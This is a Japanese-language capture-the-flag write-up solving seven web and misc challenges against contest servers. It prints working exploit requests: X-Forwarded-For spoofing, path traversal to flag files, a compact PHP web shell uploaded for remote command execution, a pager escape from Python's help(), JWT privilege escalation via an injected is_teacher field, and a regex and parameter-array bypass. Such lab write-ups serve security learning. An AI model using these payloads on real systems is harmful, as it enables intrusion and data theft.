- [web] proxed
- [web] static file server
- [web] xxd-server
- [misc] helpless
- [web] actually-proxed
- [web] grades_grades_grades
- [web] cgi fridays
[web] proxed
ソースコードが与えられるので、まずはソースコードを読んでみよう。
まず、Dockerfileを読むと、golangで書かれているくらいしか情報量がない。
go.modも気になる情報はない。
main.goを読んでいく。
ものすごい簡潔なソースコードでありがたい。
package main import ( "flag" "fmt" "log" "net/http" "os" "strings" ) var ( port = flag.Int("port", 8081, "The port to listen on") ) func main() { flag.Parse() http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { xff := r.Header.Values("X-Forwarded-For") ip := strings.Split(r.RemoteAddr, ":")[0] if xff != nil { ips := strings.Split(xff[len(xff)-1], ", ") ip = ips[len(ips)-1] ip = strings.TrimSpace(ip) } if ip != "31.33.33.7" { message := fmt.Sprintf("untrusted IP: %s", ip) http.Error(w, message, http.StatusForbidden) return } else { w.Write([]byte(os.Getenv("FLAG"))) } }) log.Printf("Listening on port %d", *port) log.Fatal(http.ListenAndServe(fmt.Sprintf(":%d", *port), nil)) }
内容としてはIPアドレスが31.33.33.7
であればフラグがもらえる。
どうやってIPアドレスを確認しているかというと、
xff := r.Header.Values("X-Forwarded-For")
の部分で、つまり、GETリクエストのリクエストヘッダーとしてX-Forwarded-For: 31.33.33.7
を追加すればいい。
リクエストヘッダーの追加をブラウザのみでやるのは面倒なので、以下のような手段で頑張る。
どれを使ってもいいが、Burp Suiteで自分はいつもやってる。
Burp Suiteを使ったとすると、普通に組み込みのChroniumブラウザで開くとリクエストは以下のように記録される。
GET / HTTP/1.1 Host: proxed.duc.tf:30019 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 [編集済み] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Connection: close
このリクエストをRepeaterに送って、ヘッダーを追加して送るとフラグがもらえる。
GET / HTTP/1.1 Host: proxed.duc.tf:30019 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 Connection: close X-Forwarded-For: 31.33.33.7
[web] static file server
/flag.txt
を取得するのが目的の問題。
ソースコードも与えられていて、メインの部分は以下だけ。
app = web.Application() app.add_routes([ web.get('/', index), # this is handled by https://github.com/aio-libs/aiohttp/blob/v3.8.5/aiohttp/web_urldispatcher.py#L654-L690 web.static('/files', './files', follow_symlinks=True) ]) web.run_app(app)
/files
エンドポイントでファイルが取得できる。
明白に脆弱な所はなさそうだが、とりあえずパストラバーサルを以下のように試すとフラグがもらえた。
aiohttpのweb.staticはパストラバーサルに対して脆弱なようだ。
GET /files/../../flag.txt HTTP/2 Host: web-static-file-server-9af22c2b5640.2023.ductf.dev
[web] xxd-server
/flag
を読み取る問題。
ソースコードが与えられているので読む。
ファイルをアップロードすると、xxdコマンドのような形でhexを返してくれるサイトが与えられる。
以下、POST時のロジック。
if (isset($_FILES['file-upload'])) { $upload_dir = 'uploads/' . bin2hex(random_bytes(8)); $upload_path = $upload_dir . '/' . basename($_FILES['file-upload']['name']); mkdir($upload_dir); $upload_contents = xxd(file_get_contents($_FILES['file-upload']['tmp_name'])); if (file_put_contents($upload_path, $upload_contents)) { $message = 'Your file has been uploaded. Click <a href="' . htmlspecialchars($upload_path) . '">here</a> to view'; } else { $message = 'File upload failed.'; } }
/uploads/[ランダムな8bytesのhex]/[アップロードファイル名]
のような感じで配置される。
アップロードファイル名はパストラバーサル対策しかされてないので、evil.php
みたいなものを配置すればphpが実行可能。
問題はxxd関数の処理。
// Emulate the behavior of command line 'xxd' tool function xxd(string $s): string { $out = ''; $ctr = 0; foreach (str_split($s, 16) as $v) { $hex_string = implode(' ', str_split(bin2hex($v), 4)); $ascii_string = ''; foreach (str_split($v) as $c) { $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c; } $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string); $ctr += 16; } return $out; }
それほど細かく理解する必要はなく、出力結果から仕様を理解してもいい。
xxd関数でxxdのような出力を作っていて、16文字毎にhexに変換されている。
16文字を超えると、改行などが入って面倒なことになるので、16文字でいい感じのPHPコードが作れればいいが、それは実現可能。
<?=`$_GET[0]`;?>
これでRCEができるようになるので、/uploads/6d8ec737e2b4a4c3/a.php?0=cat%20/flag
みたいにやればフラグ獲得。
[misc] helpless
指定のsshにつなぐと、pythonのhelp()が起動した状態で起動する。
ここから/home/ductf/flag.txt
を読む問題。
こういう特定制約下にある環境から抜け出して色々頑張る問題をjail問題とか言ったりするが、
過去のそういう問題で使われたテクを使うと解けた。
まず、それほど大きくないコンソールでsshでつなげる。
次にhelp> str
を実行。(help>は既にかいてあるのでstrを実行)
すると、strの中身が表示されるが、この時現在のコンソールに表示し切れない量の出力がされると、
Pagerのような画面が起動する。
これは実際はlessコマンドが実行されていて、このlessコマンドが悪用可能となる。
:e /home/ductf/flag.txt
とすると任意のファイルを読み出すことができフラグが得られる。
[web] actually-proxed
全然気が付かず時間を溶かしてしまった。
proxy/main.go
にリクエストが行き、ヘッダーを確認して、x-forwarded-forがあれば末尾にクライアントIPをつけて(プロキシが通常やるように)
secret_server/main.go
にリクエストを飛ばす。secret_serverの方ではx-forwarded-forにある最後のIPが31.33.33.7
であるかを確認している。
論点はヘッダーの処理だけなので、そのあたりのソースを抜粋する。
proxy/main.go
は
for i, v := range headers { if strings.ToLower(v[0]) == "x-forwarded-for" { headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP) break } }
secret_server/main.go
は
xff := r.Header.Values("X-Forwarded-For") ip := strings.Split(r.RemoteAddr, ":")[0] if xff != nil { ips := strings.Split(xff[len(xff)-1], ", ") ip = ips[len(ips)-1] ip = strings.TrimSpace(ip) } // 1337 hax0rz 0nly! if ip != "31.33.33.7" { message := fmt.Sprintf("untrusted IP: %s", ip) http.Error(w, message, http.StatusForbidden) return } else { w.Write([]byte(os.Getenv("FLAG"))) }
読んでToLowerとかの結果に差が出るのか?とかUnicodeか?とかやっている間に100solvesを超えてしまい、
最安の問題が400solvesとかなのにさすがに難しすぎるということで、適当にヘッダーをガチャガチャやっているとフラグが出てきた。
GET / HTTP/1.1 Host: actually.proxed.duc.tf:30009 Connection: close X-Forwarded-For: 31.33.33.7 X-Forwarded-For: 31.33.33.7
これでフラグが出てくる。
proxy側で全部処理してる…と思っていたがbreak
を見逃していた(!?)
ということで、proxy側では最初のX-Forwarded-Forしか処理しないが、secret_server側では最後のX-Forwarded-Forが使用されるので、
このあたりの仕様の違いを利用すればフラグが得られるという問題。
[web] grades_grades_grades
最終的には先生ユーザーを作って/grades_flag
にアクセスすればフラグが得られる。
先生かどうかの判定は以下のようにやっていて、is_teacherがTrueである必要がある。
def is_teacher_role(): # if user isn't authed at all if 'auth_token' not in request.cookies: return False token = request.cookies.get('auth_token') try: data = decode_token(token) if data.get('is_teacher', False): return True except jwt.DecodeError: return False return False
以下のように通常の(生徒の)ユーザーは作れる。
@api.route('/signup', methods=('POST', 'GET')) def signup(): ... # get form data if request.method == 'POST': jwt_data = request.form.to_dict() jwt_cookie = current_app.auth.create_token(jwt_data) if is_teacher_role(): response = make_response(redirect(url_for('api.index', is_auth=True, is_teacher_role=True))) else: response = make_response(redirect(url_for('api.index', is_auth=True))) response.set_cookie('auth_token', jwt_cookie, httponly=True) return response return render_template('signup.html')
JWTはHS256で署名されてて、攻撃可能な部分は見当たらない。
問題があるのは呼び出し側の方でcurrent_app.auth.create_token(jwt_data)
という風に作成をしているが、
jwt_dataはjwt_data = request.form.to_dict()
のように外部入力をそのまま入れ込んでいる。
よって、通常はPOST /signup
に
stu_num=test&stu_email=test%40example.com&password=test
のように入力を入れるが、
stu_num=test&stu_email=test%40example.com&password=test&is_teacher=true
のように入れることで意図せぬ項目を入れ込むことができる。
これで先生アカウントが作れたのでこれを使ってGET /grades_flag
するとフラグ獲得。
[web] cgi fridays
if ($page =~ /^stat|io|maps$/) { return HTDOCS . '/pages/denied.txt' unless $remote_addr eq '127.0.0.1'; return "/proc/self/$page"; }
ここが脆弱なポイント。
正規表現/^stat|io|maps$/
はうまく動いていそうに見えるが、^stat
とio
とmaps$
のorになっている。
よって1番目の条件を使うと先頭がstatならなんでも通ってしまう。
これにより、その後の"/proc/self/$page"
に対してstat/../../../flag.txt
とするとパストラバーサル可能。
残った問題はその前のremote_addr条件の回避である。
呼び出し時にmy $file_path = route_request($q->param('page'), $ENV{'REMOTE_ADDR'});
のようにREMOTE_ADDRを持ってきて、
関数先でmy ($page, $remote_addr) = @_;
のように取得して使っている。
猛烈ググったが何も出てこない…solvesが60を超えてきたので、単純な何かを見逃していそうな雰囲気がある。
と思って、色々試すと以下のように回避できた。
GET /?page=stat&page=127.0.0.1
恐らくだが、引数を渡すときに配列を渡すと分解されて引数をねじ込むことができるのだろう。
とにかく、GET /?page=stat&page=127.0.0.1
のようにすると、remote_addr判定が回避可能。
組み合わせると、GET /?page=stat/../../../flag.txt&page=127.0.0.1
なのだが、うまくいかない。
あれっと思ってコンテナ内部でcat /proc/self/stat/../../../flag.txt
をやってみるとエラーになる。
だがcat /proc/self/../../flag.txt
は動く。
存在するフォルダを置かないといけないっぽい。
そうなると正規表現のioのマッチング部分をうまく使ってパスにioを含ませながらflag.txtへ行けばよさそう。
chatgptでコマンドを作ってもらい、find / -type d -name "*io*"
で探すと使えそうなものが見つかる。
たくさん見つかるが/usr/include/linux/iio
を使った。
cat /proc/self/../../usr/include/linux/iio/../../../../flag.txt
がちゃんと動く。
ということでGET /?page=../../usr/include/linux/iio/../../../../flag.txt&page=127.0.0.1
でフラグ獲得